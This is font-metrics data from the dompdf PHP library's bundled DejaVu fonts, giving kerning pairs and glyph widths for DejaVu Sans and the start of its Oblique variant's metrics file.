KPX y atilde -30
KPX y comma -80
KPX y e -10
KPX y eacute -10
KPX y ecaron -10
KPX y ecircumflex -10
KPX y edieresis -10
KPX y edotaccent -10
KPX y egrave -10
KPX y emacron -10
KPX y eogonek -10
KPX y o -25
KPX y oacute -25
KPX y ocircumflex -25
KPX y odieresis -25
KPX y ograve -25
KPX y ohungarumlaut -25
KPX y omacron -25
KPX y oslash -25
KPX y otilde -25
KPX y period -80
KPX yacute a -30
KPX yacute aacute -30
KPX yacute abreve -30
KPX yacute acircumflex -30
KPX yacute adieresis -30
KPX yacute agrave -30
KPX yacute amacron -30
KPX yacute aogonek -30
KPX yacute aring -30
KPX yacute atilde -30
KPX yacute comma -80
KPX yacute e -10
KPX yacute eacute -10
KPX yacute ecaron -10
KPX yacute ecircumflex -10
KPX yacute edieresis -10
KPX yacute edotaccent -10
KPX yacute egrave -10
KPX yacute emacron -10
KPX yacute eogonek -10
KPX yacute o -25
KPX yacute oacute -25
KPX yacute ocircumflex -25
KPX yacute odieresis -25
KPX yacute ograve -25
KPX yacute ohungarumlaut -25
KPX yacute omacron -25
KPX yacute oslash -25
KPX yacute otilde -25
KPX yacute period -80
KPX ydieresis a -30
KPX ydieresis aacute -30
KPX ydieresis abreve -30
KPX ydieresis acircumflex -30
KPX ydieresis adieresis -30
KPX ydieresis agrave -30
KPX ydieresis amacron -30
KPX ydieresis aogonek -30
KPX ydieresis aring -30
KPX ydieresis atilde -30
KPX ydieresis comma -80
KPX ydieresis e -10
KPX ydieresis eacute -10
KPX ydieresis ecaron -10
KPX ydieresis ecircumflex -10
KPX ydieresis edieresis -10
KPX ydieresis edotaccent -10
KPX ydieresis egrave -10
KPX ydieresis emacron -10
KPX ydieresis eogonek -10
KPX ydieresis o -25
KPX ydieresis oacute -25
KPX ydieresis ocircumflex -25
KPX ydieresis odieresis -25
KPX ydieresis ograve -25
KPX ydieresis ohungarumlaut -25
KPX ydieresis omacron -25
KPX ydieresis oslash -25
KPX ydieresis otilde -25
KPX ydieresis period -80
KPX z e 10
KPX z eacute 10
KPX z ecaron 10
KPX z ecircumflex 10
KPX z edieresis 10
KPX z edotaccent 10
KPX z egrave 10
KPX z emacron 10
KPX z eogonek 10
KPX zacute e 10
KPX zacute eacute 10
KPX zacute ecaron 10
KPX zacute ecircumflex 10
KPX zacute edieresis 10
KPX zacute edotaccent 10
KPX zacute egrave 10
KPX zacute emacron 10
KPX zacute eogonek 10
KPX zcaron e 10
KPX zcaron eacute 10
KPX zcaron ecaron 10
KPX zcaron ecircumflex 10
KPX zcaron edieresis 10
KPX zcaron edotaccent 10
KPX zcaron egrave 10
KPX zcaron emacron 10
KPX zcaron eogonek 10
KPX zdotaccent e 10
KPX zdotaccent eacute 10
KPX zdotaccent ecaron 10
KPX zdotaccent ecircumflex 10
KPX zdotaccent edieresis 10
KPX zdotaccent edotaccent 10
KPX zdotaccent egrave 10
KPX zdotaccent emacron 10
KPX zdotaccent eogonek 10
EndKernPairs
EndKernData
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/DejaVuSans-Oblique.ufm000066600000555177151150442770016632 0ustar00StartFontMetrics 4.1
Notice Converted by PHP-font-lib
Comment https://github.com/PhenX/php-font-lib
EncodingScheme FontSpecific
FontName DejaVu Sans
FontSubfamily Oblique
UniqueID DejaVu Sans Oblique
FullName DejaVu Sans Oblique
Version Version 2.37
PostScriptName DejaVuSans-Oblique
Manufacturer DejaVu fonts team
FontVendorURL http://dejavu.sourceforge.net
LicenseURL http://dejavu.sourceforge.net/wiki/index.php/License
PreferredFamily DejaVu Sans
PreferredSubfamily Oblique
Weight Medium
ItalicAngle -11
IsFixedPitch false
UnderlineThickness 44
UnderlinePosition -63
FontHeightOffset 0
Ascender 928
Descender -236
FontBBox -1016 -350 1659 1068
StartCharMetrics 5355
U 32 ; WX 318 ; N space ; G 3
U 33 ; WX 401 ; N exclam ; G 4
U 34 ; WX 460 ; N quotedbl ; G 5
U 35 ; WX 838 ; N numbersign ; G 6
U 36 ; WX 636 ; N dollar ; G 7
U 37 ; WX 950 ; N percent ; G 8
U 38 ; WX 780 ; N ampersand ; G 9
U 39 ; WX 275 ; N quotesingle ; G 10
U 40 ; WX 390 ; N parenleft ; G 11
U 41 ; WX 390 ; N parenright ; G 12
U 42 ; WX 500 ; N asterisk ; G 13
U 43 ; WX 838 ; N plus ; G 14
U 44 ; WX 318 ; N comma ; G 15
U 45 ; WX 361 ; N hyphen ; G 16
U 46 ; WX 318 ; N period ; G 17
U 47 ; WX 337 ; N slash ; G 18
U 48 ; WX 636 ; N zero ; G 19
U 49 ; WX 636 ; N one ; G 20
U 50 ; WX 636 ; N two ; G 21
U 51 ; WX 636 ; N three ; G 22
U 52 ; WX 636 ; N four ; G 23
U 53 ; WX 636 ; N five ; G 24
U 54 ; WX 636 ; N six ; G 25
U 55 ; WX 636 ; N seven ; G 26
U 56 ; WX 636 ; N eight ; G 27
U 57 ; WX 636 ; N nine ; G 28
U 58 ; WX 337 ; N colon ; G 29
U 59 ; WX 337 ; N semicolon ; G 30
U 60 ; WX 838 ; N less ; G 31
U 61 ; WX 838 ; N equal ; G 32
U 62 ; WX 838 ; N greater ; G 33
U 63 ; WX 531 ; N question ; G 34
U 64 ; WX 1000 ; N at ; G 35
U 65 ; WX 684 ; N A ; G 36
U 66 ; WX 686 ; N B ; G 37
U 67 ; WX 698 ; N C ; G 38
U 68 ; WX 770 ; N D ; G 39
U 69 ; WX 632 ; N E ; G 40
U 70 ; WX 575 ; N F ; G 41
U 71 ; WX 775 ; N G ; G 42
U 72 ; WX 752 ; N H ; G 43
U 73 ; WX 295 ; N I ; G 44
U 74 ; WX 295 ; N J ; G 45
U 75 ; WX 656 ; N K ; G 46
U 76 ; WX 557 ; N L ; G 47
U 77 ; WX 863 ; N M ; G 48
U 78 ; WX 748 ; N N ; G 49
U 79 ; WX 787 ; N O ; G 50
U 80 ; WX 603 ; N P ; G 51
U 81 ; WX 787 ; N Q ; G 52
U 82 ; WX 695 ; N R ; G 53
U 83 ; WX 635 ; N S ; G 54
U 84 ; WX 611 ; N T ; G 55
U 85 ; WX 732 ; N U ; G 56
U 86 ; WX 684 ; N V ; G 57
U 87 ; WX 989 ; N W ; G 58
U 88 ; WX 685 ; N X ; G 59
U 89 ; WX 611 ; N Y ; G 60
U 90 ; WX 685 ; N Z ; G 61
U 91 ; WX 390 ; N bracketleft ; G 62
U 92 ; WX 337 ; N backslash ; G 63
U 93 ; WX 390 ; N bracketright ; G 64
U 94 ; WX 838 ; N asciicircum ; G 65
U 95 ; WX 500 ; N underscore ; G 66
U 96 ; WX 500 ; N grave ; G 67
U 97 ; WX 613 ; N a ; G 68
U 98 ; WX 635 ; N b ; G 69
U 99 ; WX 550 ; N c ; G 70
U 100 ; WX 635 ; N d ; G 71
U 101 ; WX 615 ; N e ; G 72
U 102 ; WX 352 ; N f ; G 73
U 103 ; WX 635 ; N g ; G 74
U 104 ; WX 634 ; N h ; G 75
U 105 ; WX 278 ; N i ; G 76
U 106 ; WX 278 ; N j ; G 77
U 107 ; WX 579 ; N k ; G 78
U 108 ; WX 278 ; N l ; G 79
U 109 ; WX 974 ; N m ; G 80
U 110 ; WX 634 ; N n ; G 81
U 111 ; WX 612 ; N o ; G 82
U 112 ; WX 635 ; N p ; G 83
U 113 ; WX 635 ; N q ; G 84
U 114 ; WX 411 ; N r ; G 85
U 115 ; WX 521 ; N s ; G 86
U 116 ; WX 392 ; N t ; G 87
U 117 ; WX 634 ; N u ; G 88
U 118 ; WX 592 ; N v ; G 89
U 119 ; WX 818 ; N w ; G 90
U 120 ; WX 592 ; N x ; G 91
U 121 ; WX 592 ; N y ; G 92
U 122 ; WX 525 ; N z ; G 93
U 123 ; WX 636 ; N braceleft ; G 94
U 124 ; WX 337 ; N bar ; G 95
U 125 ; WX 636 ; N braceright ; G 96
U 126 ; WX 838 ; N asciitilde ; G 97
U 160 ; WX 318 ; N nbspace ; G 98
U 161 ; WX 401 ; N exclamdown ; G 99
U 162 ; WX 636 ; N cent ; G 100
U 163 ; WX 636 ; N sterling ; G 101
U 164 ; WX 636 ; N currency ; G 102
U 165 ; WX 636 ; N yen ; G 103
U 166 ; WX 337 ; N brokenbar ; G 104
U 167 ; WX 500 ; N section ; G 105
U 168 ; WX 500 ; N dieresis ; G 106
U 169 ; WX 1000 ; N copyright ; G 107
U 170 ; WX 471 ; N ordfeminine ; G 108
U 171 ; WX 617 ; N guillemotleft ; G 109
U 172 ; WX 838 ; N logicalnot ; G 110
U 173 ; WX 361 ; N sfthyphen ; G 111
U 174 ; WX 1000 ; N registered ; G 112
U 175 ; WX 500 ; N macron ; G 113
U 176 ; WX 500 ; N degree ; G 114
U 177 ; WX 838 ; N plusminus ; G 115
U 178 ; WX 401 ; N twosuperior ; G 116
U 179 ; WX 401 ; N threesuperior ; G 117
U 180 ; WX 500 ; N acute ; G 118
U 181 ; WX 636 ; N mu ; G 119
U 182 ; WX 636 ; N paragraph ; G 120
U 183 ; WX 318 ; N periodcentered ; G 121
U 184 ; WX 500 ; N cedilla ; G 122
U 185 ; WX 401 ; N onesuperior ; G 123
U 186 ; WX 471 ; N ordmasculine ; G 124
U 187 ; WX 617 ; N guillemotright ; G 125
U 188 ; WX 969 ; N onequarter ; G 126
U 189 ; WX 969 ; N onehalf ; G 127
U 190 ; WX 969 ; N threequarters ; G 128
U 191 ; WX 531 ; N questiondown ; G 129
U 192 ; WX 684 ; N Agrave ; G 130
U 193 ; WX 684 ; N Aacute ; G 131
U 194 ; WX 684 ; N Acircumflex ; G 132
U 195 ; WX 684 ; N Atilde ; G 133
U 196 ; WX 684 ; N Adieresis ; G 134
U 197 ; WX 684 ; N Aring ; G 135
U 198 ; WX 974 ; N AE ; G 136
U 199 ; WX 698 ; N Ccedilla ; G 137
U 200 ; WX 632 ; N Egrave ; G 138
U 201 ; WX 632 ; N Eacute ; G 139
U 202 ; WX 632 ; N Ecircumflex ; G 140
U 203 ; WX 632 ; N Edieresis ; G 141
U 204 ; WX 295 ; N Igrave ; G 142
U 205 ; WX 295 ; N Iacute ; G 143
U 206 ; WX 295 ; N Icircumflex ; G 144
U 207 ; WX 295 ; N Idieresis ; G 145
U 208 ; WX 775 ; N Eth ; G 146
U 209 ; WX 748 ; N Ntilde ; G 147
U 210 ; WX 787 ; N Ograve ; G 148
U 211 ; WX 787 ; N Oacute ; G 149
U 212 ; WX 787 ; N Ocircumflex ; G 150
U 213 ; WX 787 ; N Otilde ; G 151
U 214 ; WX 787 ; N Odieresis ; G 152
U 215 ; WX 838 ; N multiply ; G 153
U 216 ; WX 787 ; N Oslash ; G 154
U 217 ; WX 732 ; N Ugrave ; G 155
U 218 ; WX 732 ; N Uacute ; G 156
U 219 ; WX 732 ; N Ucircumflex ; G 157
U 220 ; WX 732 ; N Udieresis ; G 158
U 221 ; WX 611 ; N Yacute ; G 159
U 222 ; WX 608 ; N Thorn ; G 160
U 223 ; WX 630 ; N germandbls ; G 161
U 224 ; WX 613 ; N agrave ; G 162
U 225 ; WX 613 ; N aacute ; G 163
U 226 ; WX 613 ; N acircumflex ; G 164
U 227 ; WX 613 ; N atilde ; G 165
U 228 ; WX 613 ; N adieresis ; G 166
U 229 ; WX 613 ; N aring ; G 167
U 230 ; WX 995 ; N ae ; G 168
U 231 ; WX 550 ; N ccedilla ; G 169
U 232 ; WX 615 ; N egrave ; G 170
U 233 ; WX 615 ; N eacute ; G 171
U 234 ; WX 615 ; N ecircumflex ; G 172
U 235 ; WX 615 ; N edieresis ; G 173
U 236 ; WX 278 ; N igrave ; G 174
U 237 ; WX 278 ; N iacute ; G 175
U 238 ; WX 278 ; N icircumflex ; G 176
U 239 ; WX 278 ; N idieresis ; G 177
U 240 ; WX 612 ; N eth ; G 178
U 241 ; WX 634 ; N ntilde ; G 179
U 242 ; WX 612 ; N ograve ; G 180
U 243 ; WX 612 ; N oacute ; G 181
U 244 ; WX 612 ; N ocircumflex ; G 182
U 245 ; WX 612 ; N otilde ; G 183
U 246 ; WX 612 ; N odieresis ; G 184
U 247 ; WX 838 ; N divide ; G 185
U 248 ; WX 612 ; N oslash ; G 186
U 249 ; WX 634 ; N ugrave ; G 187
U 250 ; WX 634 ; N uacute ; G 188
U 251 ; WX 634 ; N ucircumflex ; G 189
U 252 ; WX 634 ; N udieresis ; G 190
U 253 ; WX 592 ; N yacute ; G 191
U 254 ; WX 635 ; N thorn ; G 192
U 255 ; WX 592 ; N ydieresis ; G 193
U 256 ; WX 684 ; N Amacron ; G 194
U 257 ; WX 613 ; N amacron ; G 195
U 258 ; WX 684 ; N Abreve ; G 196
U 259 ; WX 613 ; N abreve ; G 197
U 260 ; WX 684 ; N Aogonek ; G 198
U 261 ; WX 613 ; N aogonek ; G 199
U 262 ; WX 698 ; N Cacute ; G 200
U 263 ; WX 550 ; N cacute ; G 201
U 264 ; WX 698 ; N Ccircumflex ; G 202
U 265 ; WX 550 ; N ccircumflex ; G 203
U 266 ; WX 698 ; N Cdotaccent ; G 204
U 267 ; WX 550 ; N cdotaccent ; G 205
U 268 ; WX 698 ; N Ccaron ; G 206
U 269 ; WX 550 ; N ccaron ; G 207
U 270 ; WX 770 ; N Dcaron ; G 208
U 271 ; WX 635 ; N dcaron ; G 209
U 272 ; WX 775 ; N Dcroat ; G 210
U 273 ; WX 635 ; N dmacron ; G 211
U 274 ; WX 632 ; N Emacron ; G 212
U 275 ; WX 615 ; N emacron ; G 213
U 276 ; WX 632 ; N Ebreve ; G 214
U 277 ; WX 615 ; N ebreve ; G 215
U 278 ; WX 632 ; N Edotaccent ; G 216
U 279 ; WX 615 ; N edotaccent ; G 217
U 280 ; WX 632 ; N Eogonek ; G 218
U 281 ; WX 615 ; N eogonek ; G 219
U 282 ; WX 632 ; N Ecaron ; G 220
U 283 ; WX 615 ; N ecaron ; G 221
U 284 ; WX 775 ; N Gcircumflex ; G 222
U 285 ; WX 635 ; N gcircumflex ; G 223
U 286 ; WX 775 ; N Gbreve ; G 224
U 287 ; WX 635 ; N gbreve ; G 225
U 288 ; WX 775 ; N Gdotaccent ; G 226
U 289 ; WX 635 ; N gdotaccent ; G 227
U 290 ; WX 775 ; N Gcommaaccent ; G 228
U 291 ; WX 635 ; N gcommaaccent ; G 229
U 292 ; WX 752 ; N Hcircumflex ; G 230
U 293 ; WX 634 ; N hcircumflex ; G 231
U 294 ; WX 916 ; N Hbar ; G 232
U 295 ; WX 695 ; N hbar ; G 233
U 296 ; WX 295 ; N Itilde ; G 234
U 297 ; WX 278 ; N itilde ; G 235
U 298 ; WX 295 ; N Imacron ; G 236
U 299 ; WX 278 ; N imacron ; G 237
U 300 ; WX 295 ; N Ibreve ; G 238
U 301 ; WX 278 ; N ibreve ; G 239
U 302 ; WX 295 ; N Iogonek ; G 240
U 303 ; WX 278 ; N iogonek ; G 241
U 304 ; WX 295 ; N Idot ; G 242
U 305 ; WX 278 ; N dotlessi ; G 243
U 306 ; WX 590 ; N IJ ; G 244
U 307 ; WX 556 ; N ij ; G 245
U 308 ; WX 295 ; N Jcircumflex ; G 246
U 309 ; WX 278 ; N jcircumflex ; G 247
U 310 ; WX 656 ; N Kcommaaccent ; G 248
U 311 ; WX 579 ; N kcommaaccent ; G 249
U 312 ; WX 579 ; N kgreenlandic ; G 250
U 313 ; WX 557 ; N Lacute ; G 251
U 314 ; WX 278 ; N lacute ; G 252
U 315 ; WX 557 ; N Lcommaaccent ; G 253
U 316 ; WX 278 ; N lcommaaccent ; G 254
U 317 ; WX 557 ; N Lcaron ; G 255
U 318 ; WX 278 ; N lcaron ; G 256
U 319 ; WX 557 ; N Ldot ; G 257
U 320 ; WX 278 ; N ldot ; G 258
U 321 ; WX 562 ; N Lslash ; G 259
U 322 ; WX 287 ; N lslash ; G 260
U 323 ; WX 748 ; N Nacute ; G 261
U 324 ; WX 634 ; N nacute ; G 262
U 325 ; WX 748 ; N Ncommaaccent ; G 263
U 326 ; WX 634 ; N ncommaaccent ; G 264
U 327 ; WX 748 ; N Ncaron ; G 265
U 328 ; WX 634 ; N ncaron ; G 266
U 329 ; WX 813 ; N napostrophe ; G 267
U 330 ; WX 748 ; N Eng ; G 268
U 331 ; WX 634 ; N eng ; G 269
U 332 ; WX 787 ; N Omacron ; G 270
U 333 ; WX 612 ; N omacron ; G 271
U 334 ; WX 787 ; N Obreve ; G 272
U 335 ; WX 612 ; N obreve ; G 273
U 336 ; WX 787 ; N Ohungarumlaut ; G 274
U 337 ; WX 612 ; N ohungarumlaut ; G 275
U 338 ; WX 1070 ; N OE ; G 276
U 339 ; WX 1028 ; N oe ; G 277
U 340 ; WX 695 ; N Racute ; G 278
U 341 ; WX 411 ; N racute ; G 279
U 342 ; WX 695 ; N Rcommaaccent ; G 280
U 343 ; WX 411 ; N rcommaaccent ; G 281
U 344 ; WX 695 ; N Rcaron ; G 282
U 345 ; WX 411 ; N rcaron ; G 283
U 346 ; WX 635 ; N Sacute ; G 284
U 347 ; WX 521 ; N sacute ; G 285
U 348 ; WX 635 ; N Scircumflex ; G 286
U 349 ; WX 521 ; N scircumflex ; G 287
U 350 ; WX 635 ; N Scedilla ; G 288
U 351 ; WX 521 ; N scedilla ; G 289
U 352 ; WX 635 ; N Scaron ; G 290
U 353 ; WX 521 ; N scaron ; G 291
U 354 ; WX 611 ; N Tcommaaccent ; G 292
U 355 ; WX 392 ; N tcommaaccent ; G 293
U 356 ; WX 611 ; N Tcaron ; G 294
U 357 ; WX 392 ; N tcaron ; G 295
U 358 ; WX 611 ; N Tbar ; G 296
U 359 ; WX 392 ; N tbar ; G 297
U 360 ; WX 732 ; N Utilde ; G 298
U 361 ; WX 634 ; N utilde ; G 299
U 362 ; WX 732 ; N Umacron ; G 300
U 363 ; WX 634 ; N umacron ; G 301
U 364 ; WX 732 ; N Ubreve ; G 302
U 365 ; WX 634 ; N ubreve ; G 303
U 366 ; WX 732 ; N Uring ; G 304
U 367 ; WX 634 ; N uring ; G 305
U 368 ; WX 732 ; N Uhungarumlaut ; G 306
U 369 ; WX 634 ; N uhungarumlaut ; G 307
U 370 ; WX 732 ; N Uogonek ; G 308
U 371 ; WX 634 ; N uogonek ; G 309
U 372 ; WX 989 ; N Wcircumflex ; G 310
U 373 ; WX 818 ; N wcircumflex ; G 311
U 374 ; WX 611 ; N Ycircumflex ; G 312
U 375 ; WX 592 ; N ycircumflex ; G 313
U 376 ; WX 611 ; N Ydieresis ; G 314
U 377 ; WX 685 ; N Zacute ; G 315
U 378 ; WX 525 ; N zacute ; G 316
U 379 ; WX 685 ; N Zdotaccent ; G 317
U 380 ; WX 525 ; N zdotaccent ; G 318
U 381 ; WX 685 ; N Zcaron ; G 319
U 382 ; WX 525 ; N zcaron ; G 320
U 383 ; WX 352 ; N longs ; G 321
U 384 ; WX 635 ; N uni0180 ; G 322
U 385 ; WX 735 ; N uni0181 ; G 323
U 386 ; WX 686 ; N uni0182 ; G 324
U 387 ; WX 635 ; N uni0183 ; G 325
U 388 ; WX 686 ; N uni0184 ; G 326
U 389 ; WX 635 ; N uni0185 ; G 327
U 390 ; WX 703 ; N uni0186 ; G 328
U 391 ; WX 698 ; N uni0187 ; G 329
U 392 ; WX 550 ; N uni0188 ; G 330
U 393 ; WX 775 ; N uni0189 ; G 331
U 394 ; WX 819 ; N uni018A ; G 332
U 395 ; WX 686 ; N uni018B ; G 333
U 396 ; WX 635 ; N uni018C ; G 334
U 397 ; WX 612 ; N uni018D ; G 335
U 398 ; WX 632 ; N uni018E ; G 336
U 399 ; WX 787 ; N uni018F ; G 337
U 400 ; WX 614 ; N uni0190 ; G 338
U 401 ; WX 575 ; N uni0191 ; G 339
U 402 ; WX 352 ; N florin ; G 340
U 403 ; WX 775 ; N uni0193 ; G 341
U 404 ; WX 687 ; N uni0194 ; G 342
U 405 ; WX 984 ; N uni0195 ; G 343
U 406 ; WX 354 ; N uni0196 ; G 344
U 407 ; WX 295 ; N uni0197 ; G 345
U 408 ; WX 746 ; N uni0198 ; G 346
U 409 ; WX 579 ; N uni0199 ; G 347
U 410 ; WX 278 ; N uni019A ; G 348
U 411 ; WX 592 ; N uni019B ; G 349
U 412 ; WX 974 ; N uni019C ; G 350
U 413 ; WX 748 ; N uni019D ; G 351
U 414 ; WX 634 ; N uni019E ; G 352
U 415 ; WX 787 ; N uni019F ; G 353
U 416 ; WX 913 ; N Ohorn ; G 354
U 417 ; WX 612 ; N ohorn ; G 355
U 418 ; WX 938 ; N uni01A2 ; G 356
U 419 ; WX 737 ; N uni01A3 ; G 357
U 420 ; WX 652 ; N uni01A4 ; G 358
U 421 ; WX 635 ; N uni01A5 ; G 359
U 422 ; WX 695 ; N uni01A6 ; G 360
U 423 ; WX 635 ; N uni01A7 ; G 361
U 424 ; WX 521 ; N uni01A8 ; G 362
U 425 ; WX 632 ; N uni01A9 ; G 363
U 426 ; WX 336 ; N uni01AA ; G 364
U 427 ; WX 392 ; N uni01AB ; G 365
U 428 ; WX 611 ; N uni01AC ; G 366
U 429 ; WX 392 ; N uni01AD ; G 367
U 430 ; WX 611 ; N uni01AE ; G 368
U 431 ; WX 838 ; N Uhorn ; G 369
U 432 ; WX 634 ; N uhorn ; G 370
U 433 ; WX 764 ; N uni01B1 ; G 371
U 434 ; WX 721 ; N uni01B2 ; G 372
U 435 ; WX 744 ; N uni01B3 ; G 373
U 436 ; WX 730 ; N uni01B4 ; G 374
U 437 ; WX 685 ; N uni01B5 ; G 375
U 438 ; WX 525 ; N uni01B6 ; G 376
U 439 ; WX 666 ; N uni01B7 ; G 377
U 440 ; WX 666 ; N uni01B8 ; G 378
U 441 ; WX 578 ; N uni01B9 ; G 379
U 442 ; WX 525 ; N uni01BA ; G 380
U 443 ; WX 636 ; N uni01BB ; G 381
U 444 ; WX 666 ; N uni01BC ; G 382
U 445 ; WX 578 ; N uni01BD ; G 383
U 446 ; WX 510 ; N uni01BE ; G 384
U 447 ; WX 635 ; N uni01BF ; G 385
U 448 ; WX 295 ; N uni01C0 ; G 386
U 449 ; WX 492 ; N uni01C1 ; G 387
U 450 ; WX 459 ; N uni01C2 ; G 388
U 451 ; WX 295 ; N uni01C3 ; G 389
U 452 ; WX 1455 ; N uni01C4 ; G 390
U 453 ; WX 1295 ; N uni01C5 ; G 391
U 454 ; WX 1160 ; N uni01C6 ; G 392
U 455 ; WX 852 ; N uni01C7 ; G 393
U 456 ; WX 835 ; N uni01C8 ; G 394
U 457 ; WX 556 ; N uni01C9 ; G 395
U 458 ; WX 1043 ; N uni01CA ; G 396
U 459 ; WX 1026 ; N uni01CB ; G 397
U 460 ; WX 912 ; N uni01CC ; G 398
U 461 ; WX 684 ; N uni01CD ; G 399
U 462 ; WX 613 ; N uni01CE ; G 400
U 463 ; WX 295 ; N uni01CF ; G 401
U 464 ; WX 278 ; N uni01D0 ; G 402
U 465 ; WX 787 ; N uni01D1 ; G 403
U 466 ; WX 612 ; N uni01D2 ; G 404
U 467 ; WX 732 ; N uni01D3 ; G 405
U 468 ; WX 634 ; N uni01D4 ; G 406
U 469 ; WX 732 ; N uni01D5 ; G 407
U 470 ; WX 634 ; N uni01D6 ; G 408
U 471 ; WX 732 ; N uni01D7 ; G 409
U 472 ; WX 634 ; N uni01D8 ; G 410
U 473 ; WX 732 ; N uni01D9 ; G 411
U 474 ; WX 634 ; N uni01DA ; G 412
U 475 ; WX 732 ; N uni01DB ; G 413
U 476 ; WX 634 ; N uni01DC ; G 414
U 477 ; WX 615 ; N uni01DD ; G 415
U 478 ; WX 684 ; N uni01DE ; G 416
U 479 ; WX 613 ; N uni01DF ; G 417
U 480 ; WX 684 ; N uni01E0 ; G 418
U 481 ; WX 613 ; N uni01E1 ; G 419
U 482 ; WX 974 ; N uni01E2 ; G 420
U 483 ; WX 995 ; N uni01E3 ; G 421
U 484 ; WX 775 ; N uni01E4 ; G 422
U 485 ; WX 635 ; N uni01E5 ; G 423
U 486 ; WX 775 ; N Gcaron ; G 424
U 487 ; WX 635 ; N gcaron ; G 425
U 488 ; WX 656 ; N uni01E8 ; G 426
U 489 ; WX 579 ; N uni01E9 ; G 427
U 490 ; WX 787 ; N uni01EA ; G 428
U 491 ; WX 612 ; N uni01EB ; G 429
U 492 ; WX 787 ; N uni01EC ; G 430
U 493 ; WX 612 ; N uni01ED ; G 431
U 494 ; WX 666 ; N uni01EE ; G 432
U 495 ; WX 525 ; N uni01EF ; G 433
U 496 ; WX 278 ; N uni01F0 ; G 434
U 497 ; WX 1455 ; N uni01F1 ; G 435
U 498 ; WX 1295 ; N uni01F2 ; G 436
U 499 ; WX 1160 ; N uni01F3 ; G 437
U 500 ; WX 775 ; N uni01F4 ; G 438
U 501 ; WX 635 ; N uni01F5 ; G 439
U 502 ; WX 1113 ; N uni01F6 ; G 440
U 503 ; WX 682 ; N uni01F7 ; G 441
U 504 ; WX 748 ; N uni01F8 ; G 442
U 505 ; WX 634 ; N uni01F9 ; G 443
U 506 ; WX 684 ; N Aringacute ; G 444
U 507 ; WX 613 ; N aringacute ; G 445
U 508 ; WX 974 ; N AEacute ; G 446
U 509 ; WX 995 ; N aeacute ; G 447
U 510 ; WX 787 ; N Oslashacute ; G 448
U 511 ; WX 612 ; N oslashacute ; G 449
U 512 ; WX 684 ; N uni0200 ; G 450
U 513 ; WX 613 ; N uni0201 ; G 451
U 514 ; WX 684 ; N uni0202 ; G 452
U 515 ; WX 613 ; N uni0203 ; G 453
U 516 ; WX 632 ; N uni0204 ; G 454
U 517 ; WX 615 ; N uni0205 ; G 455
U 518 ; WX 632 ; N uni0206 ; G 456
U 519 ; WX 615 ; N uni0207 ; G 457
U 520 ; WX 295 ; N uni0208 ; G 458
U 521 ; WX 278 ; N uni0209 ; G 459
U 522 ; WX 295 ; N uni020A ; G 460
U 523 ; WX 278 ; N uni020B ; G 461
U 524 ; WX 787 ; N uni020C ; G 462
U 525 ; WX 612 ; N uni020D ; G 463
U 526 ; WX 787 ; N uni020E ; G 464
U 527 ; WX 612 ; N uni020F ; G 465
U 528 ; WX 695 ; N uni0210 ; G 466
U 529 ; WX 411 ; N uni0211 ; G 467
U 530 ; WX 695 ; N uni0212 ; G 468
U 531 ; WX 411 ; N uni0213 ; G 469
U 532 ; WX 732 ; N uni0214 ; G 470
U 533 ; WX 634 ; N uni0215 ; G 471
U 534 ; WX 732 ; N uni0216 ; G 472
U 535 ; WX 634 ; N uni0217 ; G 473
U 536 ; WX 635 ; N Scommaaccent ; G 474
U 537 ; WX 521 ; N scommaaccent ; G 475
U 538 ; WX 611 ; N uni021A ; G 476
U 539 ; WX 392 ; N uni021B ; G 477
U 540 ; WX 627 ; N uni021C ; G 478
U 541 ; WX 521 ; N uni021D ; G 479
U 542 ; WX 752 ; N uni021E ; G 480
U 543 ; WX 634 ; N uni021F ; G 481
U 544 ; WX 735 ; N uni0220 ; G 482
U 545 ; WX 838 ; N uni0221 ; G 483
U 546 ; WX 698 ; N uni0222 ; G 484
U 547 ; WX 610 ; N uni0223 ; G 485
U 548 ; WX 685 ; N uni0224 ; G 486
U 549 ; WX 525 ; N uni0225 ; G 487
U 550 ; WX 684 ; N uni0226 ; G 488
U 551 ; WX 613 ; N uni0227 ; G 489
U 552 ; WX 632 ; N uni0228 ; G 490
U 553 ; WX 615 ; N uni0229 ; G 491
U 554 ; WX 787 ; N uni022A ; G 492
U 555 ; WX 612 ; N uni022B ; G 493
U 556 ; WX 787 ; N uni022C ; G 494
U 557 ; WX 612 ; N uni022D ; G 495
U 558 ; WX 787 ; N uni022E ; G 496
U 559 ; WX 612 ; N uni022F ; G 497
U 560 ; WX 787 ; N uni0230 ; G 498
U 561 ; WX 612 ; N uni0231 ; G 499
U 562 ; WX 611 ; N uni0232 ; G 500
U 563 ; WX 592 ; N uni0233 ; G 501
U 564 ; WX 475 ; N uni0234 ; G 502
U 565 ; WX 843 ; N uni0235 ; G 503
U 566 ; WX 477 ; N uni0236 ; G 504
U 567 ; WX 278 ; N dotlessj ; G 505
U 568 ; WX 998 ; N uni0238 ; G 506
U 569 ; WX 998 ; N uni0239 ; G 507
U 570 ; WX 684 ; N uni023A ; G 508
U 571 ; WX 698 ; N uni023B ; G 509
U 572 ; WX 550 ; N uni023C ; G 510
U 573 ; WX 557 ; N uni023D ; G 511
U 574 ; WX 611 ; N uni023E ; G 512
U 575 ; WX 521 ; N uni023F ; G 513
U 576 ; WX 525 ; N uni0240 ; G 514
U 577 ; WX 603 ; N uni0241 ; G 515
U 578 ; WX 479 ; N uni0242 ; G 516
U 579 ; WX 686 ; N uni0243 ; G 517
U 580 ; WX 732 ; N uni0244 ; G 518
U 581 ; WX 684 ; N uni0245 ; G 519
U 582 ; WX 632 ; N uni0246 ; G 520
U 583 ; WX 615 ; N uni0247 ; G 521
U 584 ; WX 295 ; N uni0248 ; G 522
U 585 ; WX 278 ; N uni0249 ; G 523
U 586 ; WX 781 ; N uni024A ; G 524
U 587 ; WX 635 ; N uni024B ; G 525
U 588 ; WX 695 ; N uni024C ; G 526
U 589 ; WX 411 ; N uni024D ; G 527
U 590 ; WX 611 ; N uni024E ; G 528
U 591 ; WX 592 ; N uni024F ; G 529
U 592 ; WX 613 ; N uni0250 ; G 530
U 593 ; WX 635 ; N uni0251 ; G 531
U 594 ; WX 635 ; N uni0252 ; G 532
U 595 ; WX 635 ; N uni0253 ; G 533
U 596 ; WX 550 ; N uni0254 ; G 534
U 597 ; WX 550 ; N uni0255 ; G 535
U 598 ; WX 635 ; N uni0256 ; G 536
U 599 ; WX 727 ; N uni0257 ; G 537
U 600 ; WX 615 ; N uni0258 ; G 538
U 601 ; WX 615 ; N uni0259 ; G 539
U 602 ; WX 844 ; N uni025A ; G 540
U 603 ; WX 545 ; N uni025B ; G 541
